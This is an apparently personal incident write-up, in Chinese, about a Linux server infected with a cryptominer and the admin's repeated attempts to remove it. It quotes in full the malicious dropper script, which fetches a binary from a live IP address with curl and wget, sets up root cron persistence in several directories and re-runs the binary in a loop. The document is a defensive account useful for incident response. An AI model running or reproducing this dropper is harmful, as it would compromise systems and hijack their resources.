问题的起源就是上图的脚本指令。
打开这个网址https://45.130.22.219/wgcloud.js 显示出来这个js文件其实是一个恶意脚本文件,内容如下:
#!/bin/bash
url='https://45.130.22.219/wgcloud'
name1=`date +%s%N`
wget --no-check-certificate ${url} -O /etc/$name1
chmod +x /etc/$name1
echo "*/10 * * * * root /etc/$name1" >> /etc/cron.d/$name1
/etc/$name1
name2=`date +%s%N`
curl -k ${url} -o /etc/$name2
chmod +x /etc/$name2
echo "*/10 * * * * root /etc/$name2" >> /etc/cron.d/$name2
/etc/$name2
name3=`date +%s%N`
wget --no-check-certificate ${url} -O /tmp/$name3
chmod +x /tmp/$name3
(crontab -l ; echo "*/10 * * * * /tmp/$name3") | crontab -
/tmp/$name3
name4=`date +%s%N`
curl -k ${url} -o /var/tmp/$name4
chmod +x /var/tmp/$name4
(crontab -l ; echo "*/10 * * * * /var/tmp/$name4") | crontab -
/var/tmp/$name4
while true
do
chmod +x /etc/$name1
/etc/$name1
sleep 60
chmod +x /etc/$name2
/etc/$name2
sleep 60
chmod +x /tmp/$name3
/tmp/$name3
sleep 60
chmod +x /var/tmp/$name4
/var/tmp/$name4
sleep 60
done
这段脚本会不断地创建定时任务和可执行文件。真实的挖矿程序是https://45.130.22.219/wgcloud这个链接下载的。
如何发现被攻击的:
观察CPU占用情况,阳城服务器一直cpu占用不算特别高。突然发现占比接近100%。通过top命令发现有一个时间戳进程占用特别高的cpu
这个程序很陌生
一波三折的清理过程:
通过ps查看进程的详细信息,发现了可执行文件的位置,当时删除了 tmp目录的脚本文件,以及定时任务中的自动定时任务。观察几十秒没问题,
以为就这样结束了? 错了,第二天还是出现了这个恶意程序。
当再次看到这个程序,我心里一万个我擦咧,那么神奇? 而且这个程序的运行权限是root账户运行的,我在想是不是root账号被泄露了,赶紧修改了root账号的密码,重新清理这个进程以及对应的脚本文件,以及crontab中的定时任务。此刻我想,应该平息了吧。
然而事实并非如此,翌日又发现了这个我擦嘞的进程,无奈之下,禁用了ssh链接,转而使用了牧云长亭的服务器运维助手。通过在主机运行脚本,自动向运维助手上报服务器数据。观察了服务器的所有进程之后,发现了上面最早的截图,脚本源头。 然后ps 一下。把这个脚本进程大概4个全部杀掉。清理脚本定时任务,然后cron.d下面的定时任务。这里面的定时任务通过crontab -l并不能查看到。终于。。。。结束了。